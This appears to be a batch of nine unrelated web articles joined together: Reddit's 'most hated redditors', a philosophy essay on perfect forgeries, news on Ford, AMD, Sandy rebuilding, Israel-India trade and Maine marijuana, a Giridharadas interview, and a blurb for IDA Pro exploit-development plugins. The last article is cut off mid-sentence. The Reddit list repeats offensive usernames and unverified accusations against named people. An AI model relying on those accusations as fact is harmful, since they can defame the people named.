-On Reddit, there’s a blurry line between fame and infamy. This July 7 AskReddit thread titled “Who is the most hated redditor of all time?” made that plain as day.  The top vote for the most hated redditor of all time was hardly a surprise, if you know the ancient joke of hating on the original poster in Web forums: “Everyone always seems to be mad at this one dude named ‘OP,'” said redditor urk870515.  Actual redditors who scored high on the list, according to upvote totals, included a number of the site’s longtime “power users” and popular mods. Fortunately for us, when you select a peer for membership on one of the most shameful lists on the Internet, you have to explain your reasoning. Here’s the list, arranged by upvote-downvote ratio.  1) Karmanaut  …for a multitude of things (the alleged Bad Luck Brian AMA removal, the banning of shittywatercolour for advertising his website, using multiple accounts). (IranianGenius)  2) gtw08 (now defunct)  One of the mods for /r/adviceanimals started using bots to downvote any non quickmeme links and upvote all memes posted from quickmeme. Eventually he was found out and is no longer a mod, and as a result of the fiasco, quickmeme is banned reddit wide. (Bragso)  3) IsoSwagger (now defunct)  Well, over in /r/NBA, there was one by the name of /u/IsoSwagger that once made a post stating that if the Celtics came back in the series to beat the Knicks, then everybody that responded to that post would get $1 from him. The Celtics began winning and almost came back and /u/IsoSwagger deleted his account. Jokes are still being made about his infamous bet over in /r/NBA. (Abuschang)  4) dont_stop_me_smee  They hate him for putting more effort into milking karma from the situation than he ever did into trying to open the thing. I mean he started his own fricking subreddit and started live streaming the thing, but never bothered calling a locksmith?! Seems legit. (tophernator)  5) violentacrez (now defunct)  It’s a surprise that this guy, who ran Reddit’s creepy (often underage) underbelly and was the subject of a controversial Gawker profile, is so low on the list.  Hosting Reddits like /r/jailbait and /r/creepshots is bound to make a lot of people hate you. He was eventually doxxed after all. He was pretty divisive. A lot of people liked him despite his subs because of his contributions to the site. (TimMitchell)  6) I_RAPE_CATS  Reddit wanted to give a random video millions of views as an April fools joke and entrusted him with the task of selecting the target. He picked his friend’s and probably split the profit. (JEWBOY_BALLSACK)  7) RobotAnna  Fairly well known and annoying SRSer and SJW. Also a raging racist, sexist and seems to have serious issues with ‘CIS’ people as well. Here’s one of the many subs she mods. (Tim8080)  8) WarPhalange  He still gets a lot of hate for lying about having cancer. (IceCreamNarwhals)  9) Knettel37 (now defunct)  He plagiarized a picture and whored for karma. (Aaddsa76)  10) NoahsArcRises  He is fairly well-hated. /u/hippiemachine wrote an epic in /r/Subredditdrama that details how he cheated on his wife and asked different subreddits for advice on how to get away with it. He eventually made another account, /u/BigRed79 I believe, that he used to talk about how he had sex with his mistress in his daughters bedroom. Eventually people recognized his wife on SI and contacted her with the ridiculous rationalizations and reasons he had for cheating. Through and through I would say he is pretty well hated for his public (as fuck) affair. (KickAhoeNdaFace)  The Daily Dot’s subreddit, r/dailydot, highlights the most interesting and important discussions from around the social news site every day.  Redditors inadvertently recreate The Hangover. (/r/defaultgems)  NASA responds to a letter handwritten by a redditor’s 7-year-old son. (/r/pics)  What would happen if mods had the ability to turn off karma in their subreddits? (/r/TheoryOfReddit)  Read more here.
-Imagine that Banksy, (or J.S.G. Boggs, or some other artist whose name starts with “B”, and who is known for making fake money) creates a perfectly accurate counterfeit dollar bill – that is, he creates a piece of paper that is indistinguishable from actual dollar bills visually, chemically, and in every other relevant physical way. Imagine, further, that our artist looks at his creation and realizes that he has succeeded in creating a perfect forgery. There doesn’t seem to be anything mysterious about such a scenario at first glance – creating a perfect forgery, and knowing one has done so, although extremely difficult (and legally controversial), seems perfectly possible. But is it?  In order for an object to be a perfect forgery, it seems like two criteria must be met. First of all, the object must be a forgery – that is, the object cannot be a genuine instance of the category in question. In this case, our object, which we shall call X, must not be an actual dollar bill:  (1) X is not a dollar bill.  Second, the object must be perfect (as a forgery) – that is, it can’t be distinguished from actual instances of the category in question. We can express this thought as follows:  (2) We cannot know that X is not a dollar bill.  Now, there is nothing that prevents both (1) and (2) from being simultaneously true of some object X (say, our imagined fake dollar bill). But there is an obstacle that seemingly prevents us from knowing that both (1) and (2) are true – that is, from knowing that X is a perfect forgery.  Imagine that we know that (1) is true, and in addition we know that (2) is true. In other words, the following claims hold:  (3) We know that X is not a dollar bill.  (4) We know that we cannot know that X is not a dollar bill.  Knowledge is factive – in other words, if we know a claim is true, then that claim must, in fact, be true. Applying this to the case at hand, this means that claim (4) entails claim (2). But claim (2) and claim (3) are incompatible with each other: (2) says we cannot know that X isn’t a dollar, while (3) says we know it isn’t. Thus, (3) and (4) can’t both be true, since if they were, then a contradiction would also be true (and contradictions can’t be true).  Thus, we have proven that, although perfect forgeries might well be possible, we can never know, of a particular object, that it is a perfect forgery. But an important question remains: If this is right, then what, exactly, is going on in the story with which we began? How is it that our imagined artist doesn’t know that he has created a perfect forgery?  In order to answer this question, it will help to flesh out the story a bit more. So, once again imagine that our artist creates the piece of paper that is visually, chemically, and in every other physical way indistinguishable from a real dollar bill. Call this Stage 1. Now, after admiring his work for a while, imagine that the artist then pulls eight genuine, mint-condition dollar bills out of his wallet, throws them on the table, and then places the forgery he created into the pile, shuffling and mixing until he can no longer identify which of the pieces of paper is the one he created, and which are the ones created by the Mint. Let’s call this Stage 2. How do Stage 1 and Stage 2 differ?  At Stage 1 we do not, strictly speaking, have a case of a perfect forgery. Although the piece of paper the artist created is physically indistinguishable from a dollar bill, the artist can nevertheless know it is not a dollar bill because he knows that he created this particular object. In other words, at Stage 1 he can tell that the forgery is a forgery because he knows the history, and in particular the origin, of the object in question.  Stage 2 is different, however. Now the fake is a perfect forgery, since it still isn’t a dollar, but we can’t know that it isn’t a dollar, since we can no longer distinguish it from the genuine dollars in the pile. So in some sense we know that the fake dollar in the pile is a perfect forgery. But we can’t point to any particular piece of paper and know that it, rather than one of the other eight pieces of paper, is the perfect forgery. In other words, in Stage 2 the following is true:  We know there is an object in the pile that is a perfect forgery.  But the following, initially similar looking claim, is false:  There is an object in the pile that we know is a perfect forgery.  We can sum all this up as follows: We can know that perfect forgeries exist – that is, we can know claims of the form “One of those is a perfect forgery”. But we can’t know, of a particular object, that it is a perfect forgery – that is, we can never know claims of the form “That is a perfect forgery”. And it is this latter sort of claim – that we know, of a particular object, that it is a perfect forgery – that leads to the contradiction.
-President Trump early Tuesday appeared to take credit for a $9 billion investment in U.S. facilities by Ford Motor Company — an investment that was originally announced in its 2015 contract with the United Auto Workers.  "Big announcement by Ford today. Major investment to be made in three Michigan plants. Car companies coming back to U.S. JOBS! JOBS! JOBS!" Trump tweeted.  Big announcement by Ford today. Major investment to be made in three Michigan plants. Car companies coming back to U.S. JOBS! JOBS! JOBS! — Donald J. Trump (@realDonaldTrump) March 28, 2017  ADVERTISEMENT  The investment, which includes creating or retaining 8,500 jobs and investing in U.S. facilities through 2019, was announced in 2015, according to CNBC.  Ford gave more details on its plans Tuesday, announcing that it would put $1.2 billion into three Michigan plants and would create or retain 130 jobs at one of those facilities.  Top Trump adviser Kellyanne Conway also touted the announcement.  Two weeks after @POTUS met with auto execs...Ford plans ‘significant’ investments in 3 plants https://t.co/HRjFkZx0ft via @detroitnews #jobs — Kellyanne Conway (@KellyannePolls) March 28, 2017  It's not the first time the Trump administration has trumpeted previously announced job growth or investment plans as the result of the president's "buy American, hire American" push.  Last week, Trump took credit for the creation of 20,000 jobs by telecom company Charter Communications, a deal that was originally made in 2015.
-“Mark Zuckerberg is one of the most dangerous people in America. Mark Zuckerberg is also one of the most earnest and sincere and well-meaning people in America.”  Crises like economic inequality and climate change are creating rampant pain and suffering, all while government programs to combat these emergencies are either nonexistent or severely underfunded. Into this vacuum have come fabulously wealthy CEOs and moguls who often say solutions can be found in their philanthropic efforts. But is that really a solution?  Journalist Anand Giridharadas says no in his new book Winners Take All: The Elite Charade of Changing the World. Giridharadas argues that philanthropy is often a tool that helps the rich maintain their power, wealth and status — because philanthropy does not flow to initiatives that fundamentally change the power structures sowing inequality.  Giridharadas was a guest on Capital & Main reporter David Sirota’s podcast. The following is a verbatim excerpt of their discussion.  David Sirota: What do you mean by “winners take all”?  Anand Giridharadas: That we live in this age in the United States defined by a winners-take-all economy, and that the winners of our age refuse to concede and refuse to do a lot of change. They make many efforts to claim to be changing the world and making it a better place and giving back and helping. You see that in Silicon Valley companies that claim their business itself is humanitarian, or is social enterprise or impact investing or big philanthropy, more money being given away than ever, or young people who set out to change the world through their careers and yet throughout it all the one thing that very few elites are actually willing to let go of is the winners take all economy and society that keeps them on top and keeps them winning.  Is this a deliberate effort to trick people? Is it a way that wealthy philanthropists to soothe themselves into thinking that they’re doing good for the world? Or is this an earnest of way of thinking that you just disagree with?  I think it’s all of the above. There’s a spectrum, to quote Paulo Freire, “I think a coming together of the naïve and the shrewd.”  If you think about someone like Mark Zuckerberg, who I think is one of the most dangerous people in America, I think Mark Zuckerberg is also one of the most earnest and sincere and well-meaning people in America. I do not think Mark Zuckerberg is motivated to make as much money as possible. I may be wrong, but I actually think Mark Zuckerberg feels that he is incredibly lucky to have stumbled upon a time and place and set of tools that he believes if he’s able to build to their potential he will be able to transform the world. He’ll be able to empower every girl in Afghanistan. He’ll be able to create community where community has dried up in America. He’ll be able to create a forum where we can have the kinds of political discussions that we are not able to have. I think Mark Zuckerberg feels incredibly lucky to be able to have found and be an owner of those tools.  “When I have a whiskey with people who work in finance, off the record they’re very clear that money is the scorecard of their lives.”  Now, where the naive part comes in is that Mark Zuckerberg is utterly blind to the ways in which he has amassed monopoly power, the ways in which in the pursuit of user growth and that idea of a universal community of mankind, he has perhaps become the first CEO in American history to tip a federal election, and the ways in which people who work for him, like Sheryl Sandberg, have gone after their critics and journalists and others.  That’s not a story of greed so much as it is an almost Mao-like messianic vision of how to make the world a better place in your image that has no space for the idea that your power needs to be checked or sometimes may create unintended consequences that you need to react to.  If you look at an institution like Goldman Sachs, it’s a very different story. Often when you have these kind of institutions where money is the goal as opposed to something other than money like technology, when money itself is the goal as it is in finance, you have people who are naturally motivated by money. When I have a whiskey with people who work in finance, off the record, they’re very clear that money is the scorecard of their lives, not so they can afford that one extra thing, more just because that’s what they pursue. That’s what they chase.  In that world of finance…it’s much more the case that [philanthropy] is understood to be lubricant in the engine of continued taking. In other words, there’s an understanding that a Wall Street house needs to have some program like Goldman Sachs’s 10,000 Women program to empower 10,000 women in order to evade scrutiny for the 10 million women that it helped to beach through its role in creating the financial crisis.  If Mark Zuckerberg suddenly woke up and decided that your entire analysis is correct, what should someone like him do?  I would ask him first to do a complicity audit. Before he starts trying to eradicate diseases or invent a primary school model or do all this other philanthropic stuff, I would actually ask him, because I guarantee you the number of Dreamers he’s helped through his little philanthropy is way fewer than the number of immigrants in this country who he screwed over by helping to throw this election to Donald Trump in his pursuit of user growth.  “If you are a Democrat pushing for an egalitarian America where people have equal chances, you need to be against Wall Street banks and private equity funds.”  I would ask him first to actually look at what he’s done, because nothing he will do philanthropically may matter as much as the way he’s contributed to the Trump presidency happening and to polarization in this country and to becoming the chassis of a Russian cyber war attack on this country. I would ask him to look at his complicity and think about the ways in which his choices, his setup, the systems and structures of Facebook, allowed that to happen. I would unwind those first. Shut down the philanthropy for now. Take some of those people who are very smart, I know some of them, and actually bring them into the company and help him make his day job not just his side hustle, put it on the side of justice.  I think he would probably need to go to his Washington office, which first of all, why does he have a Washington office? Why do all these rich and powerful people have Washington offices? They like to talk about the free market but they’re not happy to just hack it out there in the market. They’re insecure about their ability to hack it in the market so they spend millions of dollars in Washington trying to rig things in their favor, prevent antitrust scrutiny, prevent regulation. I would shut that office down if he really has a moment of conscience. We don’t need his wife to spend all that time creating a little primary school over there. Maybe his wife could be in charge of actually going over there to Washington and shutting down their lobbyist office where they rig public policy in a way that frankly will have way more of an effect on this country than anything her primary school is going to do.  I would first just unwind what he has done and is doing to this country. Then if he still has time and energy left over, and wants to be a philanthropist with some of these resources he earned putting our country in peril, he could give in ways that are better than the ways he’s giving now.  Let’s talk about the philanthropists who really think they’re trying to help the world. A lot of these folks fund the Democratic Party and Democratic Party infrastructure. What are they doing wrong — and what should they be doing?  One of the things that research conclusively shows is that the Democratic Party’s donors don’t just write checks to an organization or organizations that would do whatever they’re going to do anyway. They alter those organizations by writing checks to them. The public policies espoused by Democrats, by the organizations around them, change because of who the donors are. That makes sense. If I’m giving you all your money in life, you might think that my views end up playing a role in how you live that life…Those donations move Democrats in the direction of being more market-friendly.  “How do we actually speak to the American public’s very real instinct that something was stolen from them?”  Let’s take a couple examples. A lot of people of the kind you talk about who are big donors to Democratic causes and believe in equality and justice will donate to all those organizations, but are they willing to actually concede what is truly cruel and unfair, which is the fact that we fund public education by local property taxes, which particularly benefits, frankly, rich liberals in these super zip codes like Greenwich and Evanston and Marin County, which are often very liberal areas, where because we ring-fence public education dollars that way, rich liberals’ kids get much better public schools than everybody else’s. I know a lot of rich liberals who love to donate to all these egalitarian causes, but they don’t support ending that.  When President Obama tried to lower the cap on the 529 accounts there was an outcry from his affluent supporters. When you have the kind of billionaire Democrats who give, are they interested in cracking down on tax havens? I don’t think so…  They’re the kind of elites I’m writing about who are standing as like Tolstoy’s (character) sitting on a man’s back choking him and saying that, “I’ll do anything I can to help him except by getting off his back.” These are Democrats who are willing to fight for equality and justice in ways that protect their ability to continue to exploit a system that deprives most Americans of the American Dream.  Does this require a shift in priorities among philanthropists?  The two pivots that I think some of these rich folks you’re talking about need to make are to shift from giving back to giving up, and from crowding government out to crowding government in. When you shift from giving back to giving up you’re actually shifting from standing on top of an indefensible mountain and throwing some scraps down to putting your own privilege on the line and questioning the systems atop which you stand.  Jeff Bezos is doing a lot of giving back right now. He just gave a little money to a charity in Minnesota. He’s giving to the homeless and to education for the poor in and around Seattle I believe. That’s giving back. He’s not changing how Amazon operates. He’s not changing how he operates. He’s just giving back while standing on top of a frankly bad system.  What would be more exciting, if Jeff Bezos were braver and bolder, would be for Jeff Bezos to give a billion dollars to people thinking about the future of unions and collective bargaining. We need to rebuild the unions in this country but it’s not going to look like the unions of the past. It’s going to be something new.  When you talk about crowding government out to crowding government in…In the book I really critique Andrew Carnegie, but one of the ideas that was good that he had was you use private giving as a spur to teach the public sector to do something better than it should be doing but isn’t. A lot of his library deals, he made the library and then he made the government sign a contract to adopt the library and fund its ongoing maintenance.  The reason he did that was not because he couldn’t afford 10 years of library maintenance costs. It was because he wanted to teach the government a habit. He wanted to take something that was not widely understood to be a necessary public service until that moment, libraries, and essentially the way you teach a kid to ride a bike, he wanted to teach government to make that a service.  You have critiqued our culture’s obsession with the concept of “win-win” — the idea that problems can be solved by policies that require no one to sacrifice. This is a big theme in our politics. What’s wrong with that?  A great example of that, of someone who’s very inspiring right now, is Beto O’Rourke in Texas, who had all of these lines about, “We’re not against anybody. We’re for this and that.”…The reality is if you are for something that is worth being for, you have to be against something and someone. I think this is actually [something] the right understands much better than the left and uses it in my view for ill, but understands human nature and the nature of actually having a vision.  When you have a vision, if you’re trying to sell an America-first nationalism and you’re trying to sell it to white people who are resentful, you actually need enemies to point to. Unfortunately that’s the wrong vision and it’s the wrong enemies and it’s a disaster.  However, if you are a Democrat pushing for an egalitarian America where people have equal chances, you need to be against Wall Street banks and private equity funds that have pushed for a vision in which middle and working class people can’t make a life anymore. If you’re not against that, you’re not really for those people. If you are for an America in which your birth circumstances do not decide your destiny, you have to be against Chevy Chase and Marin and Evanston hoarding local property tax dollars. You can’t be for an equal education for everybody if you’re not against that.  Is part of the problem that the political class wants to focus on positive solutions, rather than litigating who is at fault for the problems?  I just think there is, particularly in the left, this kind of sunny, well, let’s not blame anybody, let’s just talk about what we can do. People often ask me, “You shouldn’t have written this book. You should’ve just written a book of solutions.” There’s this way in which I think a lot of the more pointy-headed, Democratic, educated elites don’t actually understand the way the world works and don’t understand the way regular people think.  I think regular people’s intuitions on these issues are actually much smarter. The reality is the bottom half of this country not getting a raise since 1979, that is not a natural occurrence the way rain is a natural occurrence. That is an engineered occurrence. When people talk about they feel America’s rigged, that’s passive voice. Someone rigged it.  You as a Democrat are not talking about who rigged it. You’re not talking about how they did it. If you’re not talking about your plan to block them from rigging it further and to face justice for rigging it, you’re selling a positivity that is an aesthetic positivity. You are almost pre-committed to just being positive regardless of where the facts sit…  I think a lot of Democrats don’t know how to think forensically about why this happened to [the] American Dream. Who did this to the American Dream? Who on the other side did it? Who on our side did it? Which of our donors are complicit? Which of our own policies were complicit? How do we actually speak to the American public’s very real instinct that something was stolen from them?  When Democrats refuse to do that and tell a true story about who stole the American Dream from Americans, you know what happens? That is left to semi-literate white nationalists like Donald Trump who tell a false story of who stole the American Dream to people, that resonates with them because at least someone is telling them the truth that something was stolen from them.  Copyright Capital & Main
-A little bit ago AMD sent out an announcement updating their official outlook for the second quarter of 2015. Though we don’t typically publish financial projections, the long and short of it is that AMD is looking to brace investors for a worse than expected Q2, after an already difficult Q1. Soft APU sales are being blamed for dragging down both revenue and gross margins, with AMD now expecting Q2 revenue to be down 8% sequentially, or around $950M, while the non-GAAP gross margin will be just 28%.  Much more interesting however is this little nugget of information buried in the announcement towards the end, offering a short update on AMD’s 20nm plans. AMD had previously announced their intentions to bring out some products at 20nm – these were most likely just APUs, with the only one we explicitly know about being the now-canceled Skybridge. In any case, AMD is now confirming that they have moved several of their 20nm designs to a “leading-edge FinFET node,” and as far as we know AMD no longer has any further 20nm projects in the pipeline. AMD’s press release does not state which foundries these products are now at – or indeed if they’re at multiple foundries – so it’s unknown at this time whether the work is at TSMC, GlobalFoundries, or split between the two of them.  The rationale for announcing this shift at this time comes from the financial aspect. AMD will be taking a $33M charge to their GAAP gross margin as part of the work required to move these designs to a new node. Jumping to FinFET nodes should improve the competitiveness of these products, and greatly so in the case of anything that needs to clock high or is otherwise heavily exposed to leakage, but of course this will take additional time and engineering resources in order to transition these products.  We expect AMD to discuss the issue in at least a bit more depth later next week, when they hold their Q2 earnings call on July 16th.
-Robert Combs moved out of his house in Rockaway Beach in October in anticipation of it being lifted through the Build It Back program. There hasn't been much work on it since. View Full Caption DNAinfo/Katie Honan  NEW YORK CITY — On the third anniversary of Hurricane Sandy, Mayor Bill de Blasio stood in front of rebuilt homes on Staten Island and vowed to complete the problem-plagued Build It Back Program by the end of 2016.  It was an ambitious promise to make to the thousands of Sandy victims in the city who have waited years for their homes to be rebuilt or lifted above flood level.  At the time, the program had only elevated 50 homes out of hundreds of applicants, officials said.  "The sad fact is, when I came into office, there wasn't real progress. Our mission is to get families back into their homes,” de Blasio said at the announcement in New Dorp Beach.  In a sign that his administration meant business, the city moved roughly 150 families in Queens, Brooklyn and Staten Island out of their homes in the weeks before the Oct. 29 anniversary so the homes could be elevated. City contractors put up fences around the houses in preparation for expedited work.  But most of those homes have since sat untouched for months, according to homeowners and sources involved in the Build It Back program.  “We forced people out of their homes just to get fences up and make it look like there was construction going on,” one source within the program said last month. “We were not even close. Only now is construction beginning. It was all a lie.”  OPTICS  The source and others said the mayor’s push last fall was all about optics and boosting Build It Back’s numbers — even though, at the time, the city hadn’t approved permits for the work and its contractors weren’t ready.  Homeowners who were moved out told DNAinfo New York that the Build It Back program hasn’t improved under de Blasio. Many said they had difficulty getting in touch with program representatives. Others said they waited months to be reimbursed for rent while they were out of their homes.  "I think they put all these fences up around the houses to make it look like they’re doing stuff,” a New Dorp Beach resident told DNAinfo.  The resident left his ranch home on Beacon Place in New Dorp Beach on Oct. 1, 2015. The Buildings Department didn’t approve the permits to elevate his home until February 2016, records show. And while fences have been up around his house since he and his wife left, work didn’t start on the home until March, he said.  The resident, a retiree who asked not to be identified for fear his speaking to press would cause more delays, was recently told that he likely won’t be able to move back into his home until July.  That’s nine months after he left.  Build It Back’s chair, Amy Peterson, denied the rapid move-outs were related to optics.  "I think it's all a balancing act," she said in an interview. "You want to get the homeowners out so you can start construction, and you want to be able to start construction as soon as the homeowner moves out."  She said they worked with construction managers in the fall to find homes they thought could begin work before the winter, around the storm's third anniversary.  But there are many steps before house lifts can begin — from utility disconnects to obtaining the proper permits from various city agencies. Homes have to be disconnected from utility companies, a process that Build It Back officials have worked to streamline.  Many homes had asbestos that needed to be removed prior to construction as well, she said.  And they've "tightened up the process" between move-outs and construction starts, although she didn't give specific timelines.  "We're all working towards the same goal, which is to get this program completed, so people who had their homes damaged by Hurricane Sandy could be in a built, resilient home," she said.  'NOTHING EVER HAPPENS'  The city told homeowners before they moved out that the entire process would take between three to six months.  Meanwhile, the New Dorp Beach resident said he has spent more than $6,000 in rent since moving out of his home, and he’s also making mortgage payments. The city only started reimbursing him for the rent last month, he said.  Robert Combs, 46, was rushed out of his two-family home in Rockaway Beach in October, when Build It Back officials who inspected his home called it an "emergency case" due to damage from the 2012 storm.  He moved his family out as fast as he could, putting most of their possessions in storage. Construction crews put up a brace and removed the façade on his house, and then put a construction fence up days later in anticipation of a lift.  Nothing's been done since. And he's still waiting on rental reimbursement checks, which the program is supposed to provide.  “I’m out $5,500 on rent, storage. I was only reimbursed in November for one month," he said.  “They just tell you it’s gonna come, it’s gonna come, it’s gonna come," Combs added. "But nothing ever happens.”  An employee with the program who spoke on the condition of anonymity admitted they "butchered" last fall's move-out days, unaware that only certain construction crews could do the work.  The yearlong timeline also didn't take into account the multiple issues at each home, ranging from termite damage to zoning issues to open permits filed decades earlier that still needed to be closed.  "We will meet the year-end goal [of closing the program] if everything goes perfectly, but nothing goes perfectly," the employee said.  Residents working with the Build It Back program testified in March at a City Council hearing, sharing their stories of missing reimbursement checks and delays on repairs to their homes. (DNAinfo/Katie Honan)  Samuel Breidbart, a spokesman for Build It Back, said the program provides rental expenses and storage for the entire duration of a house lift, which lasts an average of four months.  But those residents who testified at a City Council hearing in March had already been out of their homes for at least six months without work even starting.  Midland Beach resident Jeffrey Caufield spoke at the hearing.  "I am now $4,500 in the hole by paying my rent and my mortgage on time, as I’m obligated," said Caufield, who visits his home every day only to see "an ugly green fence" but no work outside his house.  "The bureaucracy and red tape is beyond," he said.  ACCELERATED TIMELINE  The Build It Back program was designed to repair, elevate and rebuild about 2,300 homes over a five-year period. But it sputtered in its first year — prompting criticism from homeowners and de Blasio.  Last May the mayor asked the Department of Design and Construction and the Housing Recovery Office to shorten the time frame to three years and issued an “accelerated program directive.” Then in October the mayor declared the program will be completed in one year, near the fourth anniversary.  Breidbart said as of May, 64 homes have been either rebuilt or elevated completely, with 209 more already lifted and ready for new foundations and other work. Around 460 homes have started the rebuild and elevation process, he said.  They expect there to be 1,600 elevations by the end of the program.  But sources involved in the program said the chance of completing all the homes by December is nearly impossible.  “No way they will make the deadline,” one source said.  The accelerated schedule, the agreement to pay labor union wages and the heavy foundation designs have also led to ballooning costs, according to sources involved in the program.  The average cost of elevating a 1,000-square-foot home — a process that includes utility and structural repairs — is $750,000 to $800,000, sources said. Under the program, the cost of rebuilding homes has risen to more than $900,000, sources said.  Breidbart disputed this, saying the average cost of everything involved with a house lift is around $500,000.  The increasing costs have raised concerns that the program won’t be able to fund all the elevations and rebuilds.  Breidbart said the city has processed $1.4 million in rental reimbursements. However, the program is still processing more than 100 reimbursement applications, which should come monthly.  Councilman Mark Treyger, chairman of the Council’s Recovery and Resiliency Committee, said the slow pace of reimbursement checks is "unacceptable" since the Council worked with the administration and the Department of Housing and Urban Development to approve a rental assistance program.  He added that many homeowners have been fined by the Department of Buildings and the Department of Sanitation when they're not even living their houses, a problem he is trying to fix with legislation.  "We heard of people paying rent and mortgage on a house they’re not living in, and then getting fined by city agencies on top of that," he said, adding that while the program has improved a bit, there's still work to be done.  "Build It Back needs to speed things up," he said, "and work on behalf of the people.”
-Today, Israel and India have good relations. Those relations are largely the result of converging interests: both countries are fighting enemies allied with radical Islam, both have had major wars against Muslim neighbors, and both are developing democracies that wrested their independence from the same colonial master. In addition, a symbiotic relationship has developed — India’s free markets and manifold needs are attractive to Israeli companies looking to do business abroad, and India has turned to Israel to supply many of the technologies it needs to feed its enormous population.  Things between the two countries weren’t always so smooth, though. Although never an anti-Semitic society, it took India many years to overcome its aversion to the State of Israel, with diplomatic relations established barely two decades ago But that decision has paid off for New Delhi: Trade between the two countries amounts to $5.5 billion a year (excluding defense purchases), and even more important, Israel has given much to India in the areas of technology, medicine, and agriculture. Just a few weeks ago, for example, hundreds of Indian farmers converged on Tel Aviv to learn more about advanced Israeli agricultural technology at the Agritech exhibition.  India’s burgeoning tech relationship with Israel hasn’t gone unnoticed; and perhaps surprisingly, one country that has noticed and may be seeking to duplicate it is Pakistan.  Get The Start-Up Israel's Daily Start-Up by email and never miss our top stories Free Sign Up  Over the past decade, Israel’s relationship with Asia as a whole has undergone a quiet revolution. As Asia has grown in prominence, Israel has increased trade with nearly every country in the region. A recent report said that between October 2011 and January 2012, 21% of Israeli exports went to Asian countries, compared to 20% of exports that went to the US. That’s the first time Israeli exports eastward outpaced those to the US, and as Asian countries industrialize and expand their economies, that trend is likely to strengthen.  Israel now has a healthy economic relationship with both of Asia’s giants, China and India. As China has begun loosening state control over some aspects of the economy, Israeli companies have found some good opportunities there. Despite China’s liberalization, the government is still heavily involved in many aspects of infrastructure, agriculture, and heavy industry, and Beijing, realizing how China can benefit from Israel’s advanced technology, has embraced Israeli high-tech with a passion, partnering with Israeli companies in a wide range of projects, such as the billion shekel water technology project Israel is working on in China.  India, on the other hand, has long been a democracy, and Indian farmers and businesspeople have been free to do business with Israeli companies, at least since diplomatic relations were established. In the past, though, there was a certain reluctance among Indians to embrace Israel, perhaps due to India’s strong economic ties to Arab countries, which, until not too long ago, enforced a boycott of Israel that forbade any of their trading partners from doing business with Israeli companies. The fact that India has a large, and sometimes restive, Muslim minority also tempered enthusiasm for developing relations with the Jewish state.  India, though, has also begun to embrace Israeli technology in everything from agriculture to defense systems to IT to diamonds, even as diplomatic relations with Jerusalem are sometimes still a bit stiff. Indian delegations are now prominent at almost every international technology show held in Israel.  This week, for the third year in a row, Israeli and Indian tech executives will gather at the Israel-India Technology Forum, to identify new technologies that would be appropriate for the Indian market. Among those attending will be representatives of some of India’s biggest companies, such as Infosys, the huge consulting company with annual revenues of some $7 billion. The program will include speeches by Knesset members and Israeli tech executives, and tours of Israeli start-ups.  The project was initiated and organized by the Israeli Embassy in India, and Orna Sagiv, Israel’s consul-general in Mumbai, said that “there is a lot of appreciation in India for Israel’s advanced technologies and innovation. Many Indian executives have expressed interest in advanced Israeli technologies in the fields of IT, such as the Internet, information security, cloud computing, computerized solutions for organizations and cellular telephone applications, as well as expanding cooperation with Israeli companies.”  That statement could just as easily apply to a host of fields, including agricultural technologies, water and environment technologies, medical technologies, and so on. It’s that appreciation — the realization that Israeli technology can help India’s nearly one billion people live better lives — that has helped Indian businesspeople and government officials leave behind their former hesitancy to do business with Israel.  The cost/benefit analysis that made India overcome its historic Israel-phobia is now being applied, at least to some extent, by Pakistan. In recent months, numerous articles and statements by Pakistani commentators and intelligentsia – and even political leaders — have appeared on mainstream Pakistani news sites calling for the country to follow India’s example.  Pakistanis advocating better relations say that Israel can help Pakistan not only with agriculture, computer sciences, electronics, genetics, medicine, solar energy, and more, but also with its international relations. “The Jewish lobby all around the world can help Pakistan raise its image as a friendly nation,” said one advocate of opening ties with Israel.  Indeed, part of the motivation seems to be jealousy, or at least a desire to duplicate India’s economic advancement. “It’s time to face it,” says the founder of a Pakistani policy think tank. “We need a better Pakistan in the coming world. We need strong friends. India is getting it all, whether it’s the USA, Israel, Russia and even our good old friend China. It’s time for us to broaden our thoughts and look out for what is in the best interest of Pakistan.”
-Peter has submitted not one or two, but three plugins! He provided the following descriptions:  IDA Sploiter  IDA Sploiter is a plugin for Hex-Rays IDA Pro disassembler designed to enhance IDA's capabilities as an exploit development and vulnerability research tool. Some of the plugin's features include a powerful ROP gadgets search engine, semantic gadget analysis and filtering, interactive ROP chain builder, stack pivot analysis, writable function pointer search, cyclic memory pattern generation and offset analysis, detection of bad characters and memory holes, and many others.  This plugin brings vulnerability research functionality from various debuggers and scripts under a single, powerful and convenient platform.  IDA Patcher  IDA Patcher is a plugin for Hex-Ray's IDA Pro disassembler designed to enhance IDA's ability to patch binary files and memory. The plugin is useful for tasks related to malware analysis, exploit development as well as bug patching. IDA Patcher blends into the standard IDA user interface through the addition of a subview and several menu items.  This plugin exposes many of IDA's internal patch management features using various UI elements.  IDA Pomidor  IDA Pomidor is a fun and simple plugin for the Hex-Ray's IDA Pro disassembler that will help you retain concentration and productivity during long reversing sessions. The plugin uses a Pomodoro Technique©, a popular time management technique.  This plugin helped me survive through long reversing sessions and I hope you will find it useful as well.
-AUGUSTA — The group with national clout in Maine’s marijuana legalization battle has an early money lead over advocates for a rival proposal, but almost all of that money came from one backer.  The Committee to Regulate Marijuana like Alcohol in Maine says it has raised more than $50,000 between January and the end of March, said David Boyer, who is leading that group as Maine political director for the Marijuana Policy Project. That’s well ahead of the $30,000 raised by Legalize Maine.  David Boyer of the Marijuana Policy Project, shown here in 2013, said the Committee to Regulate Marijuana like Alcohol in Maine has raised more than $50,000 between January and the end of March. Portland Press Herald file photo by Shawn Patrick Ouellette Paul McCarrier, president of Legalize Maine, shown here in 2014, said his group has raised about $30,000 so far as part of an effort to legalize recreational use of marijuana in Maine. File photo by Kevin Bennett  But Boyer said $50,000 of his haul was from the Marijuana Policy Project, a national group that has backed legalization efforts in other states. Legalize Maine, which is pushing a plan it says is designed to stimulate Maine’s rural economy, got its money through contributions of $5,000 or less from Maine residents and businesses.  It’s the first real look at the finances for the committees, which must submit more than 61,000 signatures to the state by Feb. 1, 2016, to get their dueling plans on that year’s election ballot. The filings for the first quarter of 2015 aren’t due to the Maine Commission on Governmental Ethics and Election Practices until Friday, but Boyer answered questions about his filing on Monday, when Paul McCarrier, president of Legalize Maine, also shared his filing.  “Until we see their campaign finance report, we can’t make a judgment,” McCarrier said of Boyer’s group. “But we know that Mainers are sick and tired of seeing big money from D.C. coming up and polluting our politics.”  But Boyer said his group’s money came “from people all over this country and Maine that want to see marijuana prohibition ended and replaced.”  “Ultimately, it’s going to be Maine voters that sign our petition and Maine voters that pass it, so I think that’s the important thing,” he said.  Legalize Maine’s plan reserves much of the market for small growers and is more liberal than the 